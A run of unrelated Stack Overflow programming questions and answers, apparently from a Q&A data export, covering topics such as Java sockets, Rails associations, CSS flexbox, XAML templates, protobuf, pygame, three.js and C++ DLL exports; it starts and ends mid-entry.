"SERVER&gt;&gt;&gt; TERMINATE" ) ); } // end method processConnection // close streams and socket private void closeConnection() { displayMessage( "\nClosing connection" ); setTextFieldEditable( false ); // disable enterField try { output.close(); // close output stream input.close(); // close input stream client.close(); // close socket } // end try catch ( IOException ioException ) { ioException.printStackTrace(); } // end catch } // end method closeConnection // send message to server private void sendData( String message ) //need to send filename to server { try // send object to server { output.writeObject(message); //output.writeObject(fileName); //is writeObject the appropriate write method? output.flush(); // flush data to output displayMessage( "\nCLIENT&gt;&gt;&gt; " + message ); } // end try catch ( IOException ioException ) { displayArea.append( "\nError writing object" ); ioException.printStackTrace(); } // end catch } // end method sendData // manipulates displayArea in the event-dispatch thread private void displayMessage( final String messageToDisplay ) { SwingUtilities.invokeLater( new Runnable() { public void run() // updates displayArea { displayArea.append( messageToDisplay ); } // end method run } // end anonymous inner class ); // end call to SwingUtilities.invokeLater } // end method displayMessage // manipulates enterField in the event-dispatch thread private void setTextFieldEditable( final boolean editable ) { SwingUtilities.invokeLater( new Runnable() { public void run() // sets enterField's editability { enterField.setEditable( editable ); } // end method run } // end anonymous inner class ); // end call to SwingUtilities.invokeLater } // end method setTextFieldEditable } // end class Client </code></pre> <p>I hope this helps.</p>
27497638	0	 <p>You could do this using a callback function.</p> <pre><code>var r = s.replace(/{{[^}]*}}/g, function(v) { return v.replace(/&amp;#x27;/g, '"'); }); </code></pre>
12621382	0	Active Record has_many generates sql with foreign key IS NULL <p>I don't expect a model with NULL as foreign key to belong to anything!</p> <p>I have the following rails app, modelling ants and ant hills (inspired by Jozef).</p> <pre><code>$ rails -v Rails 3.2.8 $ rails new ant_hill $ cd ant_hill </code></pre> <p>Create the ant hill and ant models. An ant can belong to an ant hill and an ant hill can have many ants.</p> <pre><code>$ rails generate model AntHill name:string $ rails generate model Ant name:string ant_hill_id:integer $ vim app/models/ant.rb $ cat app/models/ant.rb class Ant &lt; ActiveRecord::Base belongs_to :ant_hill end $ vim app/models/ant_hill.rb $ cat app/models/ant_hill.rb class AntHill &lt; ActiveRecord::Base has_many :ants end $ rake db:migrate == CreateAntHills: migrating ================================================= -- create_table(:ant_hills) -&gt; 0.0013s == CreateAntHills: migrated (0.0016s) ======================================== == CreateAnts: migrating ===================================================== -- create_table(:ants) -&gt; 0.0035s == CreateAnts: migrated (0.0037s) ============================================ </code></pre> <p>Run the following code in a console.</p> <pre><code>$ rails c Loading development environment (Rails 3.2.8) </code></pre> <p>Create a couple of ants, persisted, that don't belong to any ant hill.</p> <pre><code>1.9.2-p290 :001 &gt; Ant.create! name: "August" =&gt; #&lt;Ant id: 1, name: "August", ant_hill_id: nil, created_at: "2012-09-27 12:01:06", updated_at: "2012-09-27 12:01:06"&gt; 1.9.2-p290 :002 &gt; Ant.create! name: "Bertil" =&gt; #&lt;Ant id: 2, name: "Bertil", ant_hill_id: nil, created_at: "2012-09-27 12:01:13", updated_at: "2012-09-27 12:01:13"&gt; </code></pre> <p>Now instantiate an ant hill, but don't save it just yet.</p> <pre><code>1.9.2-p290 :003 &gt; ant_hill = AntHill.new name: "Storkullen" =&gt; #&lt;AntHill id: nil, name: "Storkullen", created_at: nil, updated_at: nil&gt; </code></pre> <p>I expect this ant hill to not have any ants and it doesn't.</p> <pre><code>1.9.2-p290 :004 &gt; ant_hill.ants =&gt; [] </code></pre> <p>I still expect the ant hill to not have any ants but now it has two.</p> <pre><code>1.9.2-p290 :005 &gt; ant_hill.ants.count (0.1ms) SELECT COUNT(*) FROM "ants" WHERE "ants"."ant_hill_id" IS NULL =&gt; 2 </code></pre> <p>Same here, it should never generate a query containing "IS NULL" when dealing with foreign keys. I mean "belongs_to NULL" can't belong to anything, right?</p> <pre><code>1.9.2-p290 :006 &gt; ant_hill.ants.all Ant Load (0.4ms) SELECT "ants".* FROM "ants" WHERE "ants"."ant_hill_id" IS NULL =&gt; [#&lt;Ant id: 1, name: "August", ant_hill_id: nil, created_at: "2012-09-27 12:01:06", updated_at: "2012-09-27 12:01:06"&gt;, #&lt;Ant id: 2, name: "Bertil", ant_hill_id: nil, created_at: "2012-09-27 12:01:13", updated_at: "2012-09-27 12:01:13"&gt;] </code></pre> <p>After it is persisted it behaves as expected.</p> <pre><code>1.9.2-p290 :007 &gt; ant_hill.save! =&gt; true 1.9.2-p290 :008 &gt; ant_hill.ants.count (0.4ms) SELECT COUNT(*) FROM "ants" WHERE "ants"."ant_hill_id" = 1 =&gt; 0 1.9.2-p290 :009 &gt; ant_hill.ants.all Ant Load (0.4ms) SELECT "ants".* FROM "ants" WHERE "ants"."ant_hill_id" = 1 =&gt; [] </code></pre> <p>Any insight? Is this the expected behavior?</p>
29790119	0	 <p><code>flexbox</code> can solve your problem.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>#container { display: flex; align-items: stretch; } #container &gt; div { border: 1px solid black; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code> &lt;div id="container"&gt; &lt;div class="col-xs-12 col-sm-6 col-md-4 col-lg-3"&gt; &lt;div class="blog-item"&gt; &lt;div class="img"&gt;IMAGE&lt;/div&gt; &lt;div class="title"&gt;SOME TITLE&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="col-xs-12 col-sm-6 col-md-4 col-lg-3"&gt; &lt;div class="blog-item"&gt; &lt;div class="img"&gt;image2&lt;/div&gt; &lt;div class="title"&gt;title2&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="col-xs-12 col-sm-6 col-md-4 col-lg-3"&gt; &lt;div class="blog-item"&gt; &lt;div class="img"&gt;image3&lt;/div&gt; &lt;div class="title"&gt;title3&lt;/div&gt; &lt;div class="desc"&gt;long descriptions&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="col-xs-12 col-sm-6 col-md-4 col-lg-3"&gt; &lt;div class="blog-item"&gt; &lt;div class="img"&gt;image4&lt;/div&gt; &lt;div class="title"&gt;title4&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
21004730	0	Creation of DataTemplate in code-behind fails <p>I'm trying to create a <code>DataTemplate</code> in my code and I came across <a href="http://stackoverflow.com/a/7171332/1094430">this asnwer</a>.</p> <p>So I just copied and edited the code, but it fails with this exception:</p> <blockquote> <p>First-chance exception 'System.Windows.Markup.XamlParseException' in System.Windows.ni.dll Unknown parser error: Scanner 2147500037. [Line: 4 Position: 36]</p> </blockquote> <p>Here's the generated XAML code:</p> <pre><code>&lt;DataTemplate xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:simplebackground="clr-namespace:Plugins.Backgrounds.SimpleBackground"&gt; &lt;simplebackground:SimpleBackground/&gt; &lt;/DataTemplate&gt; </code></pre> <p>and here's the XAML code that I'm currently using in my page (this one's working):</p> <pre><code>&lt;phone:PhoneApplicationPage xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:simpleBackground="clr-namespace:Namespace.Backgrounds.SimpleBackground" x:Class="Namespace.Backgrounds.SimpleBackground.SimpleBackground" mc:Ignorable="d" FontFamily="{StaticResource PhoneFontFamilyNormal}" FontSize="{StaticResource PhoneFontSizeNormal}" Foreground="{StaticResource PhoneForegroundBrush}" d:DesignHeight="480" d:DesignWidth="480"&gt; &lt;phone:PhoneApplicationPage.Resources&gt; &lt;DataTemplate x:Key="DataTemplate"&gt; &lt;simpleBackground:SimpleBackground /&gt; &lt;/DataTemplate&gt; &lt;/phone:PhoneApplicationPage.Resources&gt; ............. &lt;phone:PhoneApplicationPage&gt; </code></pre> <p>To generate the XAML I'm using this C# code:</p> <pre><code>public static DataTemplate Create(Type type) { var templateString = "&lt;DataTemplate\r\n" + "xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\r\n" + "xmlns:" + type.Name.ToLowerInvariant() + "=\"clr-namespace:" + type.Namespace + "\"&gt;\r\n" + "&lt;" + type.Name.ToLowerInvariant() + ":" + type.Name + "/&gt;\r\n" + "&lt;/DataTemplate&gt;"; return XamlReader.Load(templateString) as DataTemplate; } </code></pre> <p>What's wrong with it? The exception's message is not that useful :(</p>
6277846	0	 <p>This is happening because you have created float based layout on the various block elements. Floating elements break out of the normal flow of the page.</p> <p>You don't think you need to apply float on the <code>td</code>'s. You can make use of the <code>text-align: left;</code> for aligning the element in the <code>td</code>.</p>
4606140	0	 <p>Merging all the arrays together isn't necessary. Use <code>sort</code> to get the correct index ordering for the elements in <code>@x</code>:</p> <pre><code>@sort_by_x = sort { $x[$a] &lt;=&gt; $x[$b] } 0 .. $#x; # ==&gt; (0, 2, 1) </code></pre> <p>Then apply that index ordering to any other array:</p> <pre><code>@x = @x[@sort_by_x]; @y = @y[@sort_by_x]; @z = @z[@sort_by_x]; </code></pre>
14289505	0	 <p>20 million rows is not a lot for MySQL. Just index the zip/postal code and it will be fast. Way under 200ms fast. No need to split between tables. MySQL does get slow when the result set is large, but it doesn't seem like you would encounter that issue. MySQL will do just fine with hundreds of millions of records for basic queries like yours.</p> <p>You will need to adjust the MySQL settings so that it uses more memory. The default settings are pretty low. </p> <p>MySQL does support spacial indexes. So you could pull the longitude/latitude for the postal codes and use a spacial index to do proximity searches. Doesn't seem like you are looking for that though.</p> <p>If you want things really, really fast, go the route you were thinking of but use memcache or redis. You can use the zip/postal code as the lookup key. You would still need a persistant disk based data store to load the data from. I don't think memcache/redis is necessary, but it's an option.</p>
25223113	0	 <p>Finally found the problem. The problem was with following tag in web.config file. However, I do not know why GoDaddy does not accept it. Nevertheless, it works now!</p> <pre><code>&lt;staticContent&gt; &lt;mimeMap fileExtension=".otf" mimeType="application/font-sfnt" /&gt; &lt;/staticContent&gt; </code></pre>
26440751	0	 <p>You cannot make an "eternal service", nor would that be the correct approach for this problem. <a href="http://commonsware.com/blog/2014/07/27/role-services.html" rel="nofollow">Only have a service running when it is <strong>actively delivering value to the user</strong></a>. Watching the clock tick is not actively delivering value to the user.</p> <p>Use <code>AlarmManager</code> to arrange to get control at the time to do the reminder.</p>
3082730	0	 <p>PROBLEM: "&amp;&amp;" and "||" is converted to a method like "AndCondition(a, b)", so "!a.HasValue || a.Value == b" becomes "OrCondition(!a.HasValue, a.Value == b);" The reason for this is probably to get a generic solution to work for both code and SQL statements. So instead, use the "?:" notation.</p> <p>For more, see my blog post: <a href="http://peetbrits.wordpress.com/2008/10/18/linq-breaking-your-logic/" rel="nofollow noreferrer">http://peetbrits.wordpress.com/2008/10/18/linq-breaking-your-logic/</a></p> <pre><code>// New revised code. public static int NumberUnderReview(int? ownerUserId, List&lt;int&gt; ownerGroupIds) { return ( from c in db.Contacts where c.Active == true &amp;&amp; c.LastReviewedOn &lt;= DateTime.Now.AddDays(-365) &amp;&amp; ( // Owned by user // !ownerUserId.HasValue || // c.OwnerUserId.Value == ownerUserId.Value ownerUserId.HasValue ? c.OwnerUserId.Value == ownerUserId.Value : true ) &amp;&amp; ( // Owned by group // ownerGroupIds.Count == 0 || // ownerGroupIds.Contains( c.OwnerGroupId.Value ) ownerGroupIds.Count != 0 ? ownerGroupIds.Contains( c.OwnerGroupId.Value ) : true ) select c ).Count(); } </code></pre>
25105442	0	 <pre><code>[cling$] .help ... .&gt; &lt;filename&gt; - Redirect command to a given file '&gt;' or '1&gt;' - Redirects the stdout stream only '2&gt;' - Redirects the stderr stream only '&amp;&gt;' (or '2&gt;&amp;1') - Redirects both stdout and stderr '&gt;&gt;' - Appends to the given file </code></pre> <p>This is how one can redirect the streaming of execution results.</p>
40464887	0	 <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>input[type="text"]{ color : transparent; text-shadow : 0 0 0 #000; } input[type="text"]:focus{ outline : none; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;input type="text" value="test message" /&gt;</code></pre> </div> </div> </p>
39857613	0	Swift 2.3: Is there a way to figure out the state of Location Services, Location Updates? <p><code>locationManager.startUpdatingLocation()</code> turns your location updates on and <code>locationManager.stopUpdatingLocation()</code> turns your updates off.</p> <p>But I'd like to know if there's a way to get the current state. <br/> I tried <code>respondsToSelector</code> but that isn't quite right and probably obviously always returning <code>true</code>.</p> <p>I'm trying to make a switch that'll allow the user to turn on and off location updates. <br/> Getting the default value of the switch is my issue.</p> <p>Update for clarity: I'm trying to see the state of location updates rather than the state of the service.</p>
9887374	1	Find the two longest strings from a list || or the second longest list in PYTHON <p>I'd like to know how i can find the two longest strings from a list(array) of strings or how to find the second longest string from a list. thanks</p>
16815474	0	Why did parseFrom() function hang using protobuf in java socket? <p>I just want to create echo server/client using protobuf and java.</p> <p>I tested with protobuf-java-2.4.1 and jdk1.7.</p> <p>I wrote echo server code like below</p> <pre><code>// create server socket and accept for client connection. // ... link = servSock.accept(); Person person = Person.parseFrom(link.getInputStream()); // blocking position person.writeTo(link.getOutputStream()); </code></pre> <p>I think it is not necessary to note Person.proto.</p> <p>The client code is only send Person object using socket input stream and receive echo Person object.</p> <pre><code>// socket connect code was omitted. Person person = Person.newBuilder().setId(1).setName("zotiger").build(); person.writeTo(echoSocket.getOutputStream()); person = Person.parseFrom(echoSocket.getInputStream()); </code></pre> <p>But server was blocked in parseFrom function when the server and client both run.</p> <p>I found if i use writeDelimitedTo() and parseDelimitedFrom(), then that is ok. I don't understand why the writeTo() and parseFrom() function does not working.</p> <p>Why did the server blocking in there?</p> <p>Is it necessary to send some end signal from client side?</p>
35518577	0	 <p>Full disclosure: From my personal blog</p> <p><a href="http://stackentry.blogspot.in/2016/01/addition-of-two-numbers-in-android.html" rel="nofollow">Addition program in android</a></p> <p>XML and Java code for addition of two numbers in android</p> <p>Mainactivity.java</p> <pre><code>public class MainActivity extends AppCompatActivity implements View.OnClickListener{ private EditText editText,editText2,editText4; int v1,v2,v3; String s="ans"; private Button button; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); button=(Button)findViewById(R.id.button); button.setOnClickListener(this); } @Override public void onClick(View v) { editText=(EditText)findViewById(R.id.editText); editText2=(EditText)findViewById(R.id.editText2); editText4=(EditText)findViewById(R.id.editText4); v1=Integer.parseInt(editText.getText().toString()); v2=Integer.parseInt(editText2.getText().toString()); v3=v1+v2; s=String.valueOf(v3); editText4.setText(s); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } </code></pre> <p>activitymain.xml </p> <pre><code> &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity"&gt; &lt;EditText android:layout_width="500dp" android:layout_height="40dp" android:id="@+id/editText2" android:layout_alignParentLeft="true" android:layout_alignParentStart="true" android:layout_marginTop="60dp" /&gt; &lt;EditText android:layout_width="500dp" android:layout_height="40dp" android:id="@+id/editText" android:layout_alignParentLeft="true" android:layout_alignParentStart="true" android:layout_below="@+id/editText2" /&gt; &lt;EditText android:layout_width="800dp" android:layout_height="40dp" android:id="@+id/editText4" android:layout_alignParentRight="true" android:layout_alignParentEnd="true" android:layout_below="@+id/editText" /&gt; &lt;Button android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="OK" android:id="@+id/button" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" /&gt; &lt;/RelativeLayout&gt; </code></pre>
35849824	0	 <p>You can setup <code>channels</code> for each song , add song to each channel and then manipulate channel instead of music object.</p> <p>Here is a working code. It changes volume differently for each song thats added to each channel. The program assumes all songs in <code>audio</code> folder within your current working directory.</p> <p>The program is oversimplified to illustrate concept. You can of course create list of songs and channels then add and manipulate them based on index.</p> <p><strong>Program</strong></p> <pre><code>import pygame def checkifComplete(channel): while channel.get_busy(): #Check if Channel is busy pygame.time.wait(800) # wait in ms channel.stop() #Stop channel if __name__ == "__main__": music_file1 = "sounds/audio1.wav" music_file2 = "sounds/audio2.wav" #set up the mixer freq = 44100 # audio CD quality bitsize = -16 # unsigned 16 bit channels = 2 # 1 is mono, 2 is stereo buffer = 2048 # number of samples (experiment to get right sound) pygame.mixer.init(freq, bitsize, channels, buffer) pygame.mixer.init() #Initialize Mixer #Create sound object for each Audio myAudio1 = pygame.mixer.Sound(music_file1) myAudio2 = pygame.mixer.Sound(music_file2) #Create a Channel for each Audio myChannel1 = pygame.mixer.Channel(1) myChannel2 = pygame.mixer.Channel(2) #Add Audio to first channel myAudio1.set_volume(0.8) # Reduce volume of first audio to 80% print "Playing audio : ", music_file1 myChannel1.play(myAudio1) checkifComplete(myChannel1) #Check if Audio1 complete #Add Audio to second channel myAudio2.set_volume(0.2) # Reduce volume of first audio to 20% print "Playing audio : ", music_file2 myChannel2.play(myAudio2) checkifComplete(myChannel2) </code></pre> <p><strong>Program Output</strong></p> <pre><code>Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] on win32 Type "copyright", "credits" or "license()" for more information. &gt;&gt;&gt; ================================ RESTART ================================ &gt;&gt;&gt; Playing audio : sounds/audio1.wav Playing audio : sounds/audio2.wav &gt;&gt;&gt; </code></pre>
17201906	0	Use of different object properties for same function <p>In the avatar generator I'm working on I have several button events that do the same thing but with different body parts. I don't want to have different functions doing the same thing, so I want to use one function for all body parts.</p> <p>Line 14 below uses the object propery 'AvGen.eyes.currEyesNr', but instead I want to use the one for the clicked button. What can I put in as an argument and how can I use the parameter in the function to be able to use the correct object parameter?</p> <pre><code> 1. prevBodyBtn.on('click', function(){ 2. if (AvGen.theBody.currBodyNr &gt; 0) { 3. changePart(-1); 4. } 5. }); 6. 7. prevEyesBtn.on('click', function(){ 8. if (AvGen.eyes.currEyesNr &gt; 0) { 9. changePart(-1); 10. } 11. }); 12. 13. function changePart(direction) { 14. AvGen.eyes.currEyesNr += direction; // &lt;-- this is now always 'AvGen.eyes.currEyesNr' but should be dynamic 15. 16. var body = AvGen.theBody.bodies[AvGen.theBody.currBodyNr], 17. eyes = AvGen.eyes.eyes[AvGen.eyes.currEyesNr], 18. nose = AvGen.nose.noses[AvGen.nose.currNoseNr]; 19. mouth = AvGen.mouth.mouths[AvGen.mouth.currMouthNr]; 20. 21. AvGen.addSVG(body, eyes, nose, mouth); 22. } </code></pre>
33891626	0	 <p>It's really simple, as it turns out.</p> <pre><code>this.setValue(foo, "Text"); </code></pre> <p>The only tricky part is that <code>foo</code> has to be a valid value, as in, it exists in <code>this._.items</code>.</p> <p>If it's invalid, the richCombo will break. "Text" can be whatever you want it to be.</p>
32781842	0	 <p>Short answer: Because DOS behaved this way, and <code>cmd</code> tries to mimic DOS.</p> <p>Originally, DOS had a 'current director' for each drive, so if you write <code>cd d:\folder</code> you change the current directory for the <code>D</code> drive.</p> <p>You can read more about this here: <a href="http://blogs.msdn.com/b/oldnewthing/archive/2010/10/11/10073890.aspx" rel="nofollow">http://blogs.msdn.com/b/oldnewthing/archive/2010/10/11/10073890.aspx</a></p>
31903313	0	Positioning mesh in three.js <p>I m trying to understand how i can positioning my cubes in the canvas. But i don't understand how positioning work. I m looking a way to detect if my mesh meet the limit of the canvas. But what is the unit of position.x or position.y ? </p> <p>And what is the relation between the canvas width , height and meshs on in the canvas?</p> <p>Thanks.</p> <pre><code> var geometry = new Array(),material = new Array(),cube = new Array(); var i = 0; for(i=0; i &lt; 10;i++){ geometry[i] = new THREE.BoxGeometry(1,1,1); material[i] = new THREE.MeshBasicMaterial({ color: 0x33FF99 }); cube[i] = new THREE.Mesh(geometry[i], material[i]); scene.add(cube[i]); } camera.position.z = 5; var render = function () { requestAnimationFrame(render); var xRandom = 0; var yRandom = 0; var zRandom = 0; var sens = 1; for (i = 0; i &lt; cube.length ; i++) { document.getElementById('widthHeight').innerHTML = " " + window.innerHeight + " " + window.innerWidth + "&lt;br&gt; x:" + cube[i].position.x + " &lt;br&gt; y:" + cube[i].position.y + " &lt;br&gt; z:" + cube[i].position.z; xRandom = (Math.random() * 0.010 + 0.001) * sens; yRandom = (Math.random() * 0.010 + 0.001) * sens; zRandom = (Math.random() * 0.010 + 0.001) * sens; cube[i].position.setX(xRandom + cube[i].position.x); cube[i].position.setY(yRandom + cube[i].position.y); cube[i].position.setZ(zRandom + cube[i].position.z); cube[i].rotation.x += 0.0191; cube[i].rotation.y += 0.0198; } renderer.render(scene, camera); }; render(); </code></pre> <p>i added a PlaneGeometry and some tests to detect if cubes reach limit x or y of the new PlaneGeometry. </p> <pre><code> var geometry = new Array(),material = new Array(),cube = new Array(); var i = 0; var planeMap = new THREE.PlaneGeometry(100, 100); var materialMap = new THREE.MeshBasicMaterial({ color: 0xCE0F0F }); var map = new THREE.Mesh(planeMap,materialMap); scene.add(map); for(i=0; i &lt; 5; i++){ geometry[i] = new THREE.BoxGeometry(3,3,3); material[i] = new THREE.MeshBasicMaterial({ color: 0x336699 }); cube[i] = new THREE.Mesh(geometry[i], material[i]); scene.add(cube[i]); } camera.position.z = 100; var render = function () { requestAnimationFrame(render); var xRandom = 0,yRandom = 0,zRandom = 0,x=0,y=0,z=0; var sensX = 1, sensY = 1, sensZ = 1; var widthHeight = document.getElementById('widthHeight'); for (i = 0; i &lt; cube.length ; i++) { if (cube[i].geometry.type == "BoxGeometry") { widthHeight.innerHTML = " " + window.innerHeight + " " + window.innerWidth + "&lt;br&gt; x:" + cube[i].position.x + " &lt;br&gt; y:" + cube[i].position.y + " &lt;br&gt; z:" + cube[i].position.z; var currentCube = cube[i].position; var widthCube = cube[i].geometry.parameters.width; var heightCube = cube[i].geometry.parameters.height; x = currentCube.x; y = currentCube.y; z = currentCube.z; if (x &gt;= ((map.geometry.parameters.width / 2) - widthCube)) { sensX = -1; } if (x &lt;= ((map.geometry.parameters.width / 2) - widthCube)*-1) { sensX = 1; } if (y &gt;= ((map.geometry.parameters.height / 2) - heightCube)) { sensY = -1; } if (y &lt;= ((map.geometry.parameters.height / 2) - heightCube)*-1) { sensY = 1; } xRandom = (Math.random() * 0.650 + 0.001) * sensX * (i + 1); yRandom = (Math.random() * 0.850 + 0.001) * sensY * (i + 1); //zRandom = (Math.random() * 0.450 + 0.001) * sensZ * (i + 1); cube[i].position.setX(xRandom + x); cube[i].position.setY(yRandom + y); cube[i].position.setZ(zRandom + z); cube[i].rotation.x += 0.01; cube[i].rotation.y += 0.01; } } </code></pre>
5538966	0	Going crazy here, can't figure out why rename(), copy() functions don't work <p>Here is what I have,</p> <pre><code>$name = "image.jpeg"; $to = "/var/www/vhosts/site.com/httpdocs/termination_files/personal_photos/original/".$name; $from = "/var/www/vhosts/site.com/httpdocs/public/userimages/original/".$name; </code></pre> <p>and </p> <pre><code>rename($from,$to); </code></pre> <p>or</p> <pre><code>copy($from,$to); </code></pre> <p>Shouldn't this work?! Directory permissions are set to 755, paths are copied from ssh, so they're accurate. Files exist in the from location. </p>
16046113	0	Compiled MuPDF library integration in android project <p>I have compiled mupdf library but when I integrate it in my existing android project to render the PDF it give me the following error :</p> <pre><code>java.lang.ExceptionInInitializerError </code></pre> <p>I have followed the following steps for integration :</p> <p>Steps are explained here : <a href="http://pastebin.com/YzHUhzE7" rel="nofollow">http://pastebin.com/YzHUhzE7</a></p> <p>When i change the package name in mupdf test project then the native code get modified and the above expiation arises . So if any one knows how to integrate MuPDF compiled in my project .</p>
1307857	0	 <p>If you want to call another page and get the response back as string, you can use <code>WebClient</code> class.</p> <pre><code>var myWebClient = new WebClient(); string resultStr = myWebClient.DownloadString("http://www.google.com"); </code></pre>
10573130	0	Implications of using std::vector in a dll exported function <p>I have two dll-exported classes A and B. A's declaration contains a function which uses a std::vector in its signature like:</p> <pre><code>class EXPORT A{ // ... std::vector&lt;B&gt; myFunction(std::vector&lt;B&gt; const &amp;input); }; </code></pre> <p>(EXPORT is the usual macro to put in place _<em>declspec(dllexport)/</em>_declspec(dllimport) accordingly.)</p> <p>Reading about the issues related to using STL classes in a DLL interface, I gather in summary:</p> <ul> <li><p>Using std::vector in a DLL interface would require all the clients of that DLL to be compiled with the same <em>version</em> of the same compiler because STL containers are not binary compatible. Even worse, depending on the use of that DLL by clients conjointly with other DLLs, the ''instable'' DLL API can break these client applications when system updates are installed (e.g. Microsoft KB packages) (really?).</p></li> <li><p>Despite the above, if required, std::vector can be used in a DLL API by exporting <code>std::vector&lt;B&gt;</code> like:</p> <pre><code>template class EXPORT std::allocator&lt;B&gt;; template class EXPORT std::vector&lt;B&gt;; </code></pre> <p>though, this is usually mentioned in the context when one wants to use std::vector as a <em>member</em> of A (http://support.microsoft.com/kb/168958).</p></li> <li><p>The following Microsoft Support Article discusses how to access std::vector objects created in a DLL through a pointer or reference from within the executable (http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q172396). The above solution to use <code>template class EXPORT ...</code> seems to be applicable too. However, the drawback summarized under the first bullet point seems to remain.</p></li> <li><p>To completely get rid of the problem, one would need to wrap std::vector and change the signature of <code>myFunction</code>, PIMPL etc..</p></li> </ul> <p>My questions are:</p> <ul> <li><p>Is the above summary correct, or do I miss here something essential?</p></li> <li><p>Why does compilation of my class 'A' not generate warning C4251 (class 'std::vector&lt;_Ty>' needs to have dll-interface to be used by clients of...)? I have no compiler warnings turned off and I don't get any warning on using std::vector in <code>myFunction</code> in exported class A (with VS2005).</p></li> <li><p>What needs to be done to correctly export <code>myFunction</code> in A? Is it viable to just export <code>std::vector&lt;B&gt;</code> and B's allocator? </p></li> <li><p>What are the implications of returning std::vector by-value? Assuming a client executable which has been compiled with a different compiler(-version). Does trouble persist when returning by-value where the vector is copied? I guess yes. Similarly for passing std::vector as a constant reference: could access to <code>std::vector&lt;B&gt;</code> (which might was constructed by an executable compiled with a different compiler(-version)) lead to trouble within <code>myFunction</code>? I guess yes again..</p></li> <li><p>Is the last bullet point listed above really the only clean solution?</p></li> </ul> <p>Many thanks in advance for your feedback.</p>
21368094	0	What is wrong with this short C code <p>I'm trying to scan input, if user types "yes" put "etc" otherwise exit. But it's not working right, when i type yes it says invalid instead. Thanks ahead of time. </p> <pre><code>#include &lt;stdio.h&gt; char yes='yes'; char name[100]; int main() { puts("Starting History Project please Enter your name: "); scanf("%s",&amp;name); printf("Hey %s!",name); puts("My name is C! Are you interested about my history? yes or no"); scanf("%s", &amp;yes); if (yes == 'yes') { printf("Starting ADT \n"); } else { printf("Invalid\n"); exit(0); } return(0); } </code></pre>
13596956	0	 <p>I used a variation of Shawn's solution.. it looks nice on the Emulator.</p> <p>1) Decide on the # of columns, I chose 4 </p> <p>2) Set the Column Width</p> <pre><code>float xdpi = this.getResources().getDisplayMetrics().xdpi; int mKeyHeight = (int) ( xdpi/4 ); GridView gridView = (GridView) findViewById(R.id.gridview); gridView.setColumnWidth( mKeyHeight );// same Height &amp; Width </code></pre> <p>3) Setup the image in your adapter's getView method</p> <pre><code>imageView = new ImageView( mContext ); // (xdpi-4) is for internal padding imageView.setLayoutParams(new GridView.LayoutParams( (int) (xdpi-4)/2, (int) (xdpi-4)/2)); imageView.setScaleType( ImageView.ScaleType.CENTER_CROP ); imageView.setPadding(1, 1, 1, 1); </code></pre> <p>4) Layout</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;GridView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/gridview" android:layout_width="wrap_content" android:layout_height="wrap_content" android:numColumns="4" android:verticalSpacing="0dp" android:horizontalSpacing="0dp" android:gravity="center" android:listSelector="@null" /&gt; &lt;!-- android:columnWidth="90dp" Specified in code android:stretchMode="columnWidth" no noticable change --&gt; </code></pre> <p>That's it. </p>
3382479	0	cocoa : dock like window <p>I am looking to create a NSWindow behaving like the dock window: - Appears when the mouse cursor stays at one edge of the screen - Does not takes the focus (the app having the focus keeps it) but reveives mouse events</p> <p>Any idea on how I can implement this?</p> <p>Thanks in advance for your help,</p>
8574298	0	 <p>You have to use relative paths all over your app:</p> <p><code>~</code> won't work within static html code.</p> <p>You can write</p> <pre><code>&lt;img src="@Url.Content("~/images/logos/hdr.png")" /&gt; </code></pre> <p>or </p> <pre><code>&lt;img src="../images/logos/hdr.png" /&gt; </code></pre> <p>The first approach is good for layout files where your relative path might be changing when you have different length routing urls.</p> <p><strong>EDIT</strong></p> <p>Regarding to your question about normal links:</p> <p>When linking to another page in your app you don't specify the view file as the target but the action which renders a view as the result. For that you use the HtmlHelper <code>ActionLink</code>:</p> <pre><code>@Html.ActionLink("Linktext", "YourController", "YourAction") </code></pre> <p>That generates the right url for you automatically: </p> <pre><code>&lt;a href="YourController/YourAction"&gt;Linktext&lt;/a&gt; </code></pre> <p><strong>EDIT 2</strong></p> <p>Ok, no MVC - so you have to generate your links yourself.</p> <p>You have to use relative paths, too. Don't start any link with the <code>/</code> character!</p> <pre><code>&lt;a href="linkOnSameLevel.cshtml"&gt;Link&lt;/a&gt; &lt;a href="../linkOnParentLevel.cshtml"&gt;Link&lt;/a&gt; &lt;a 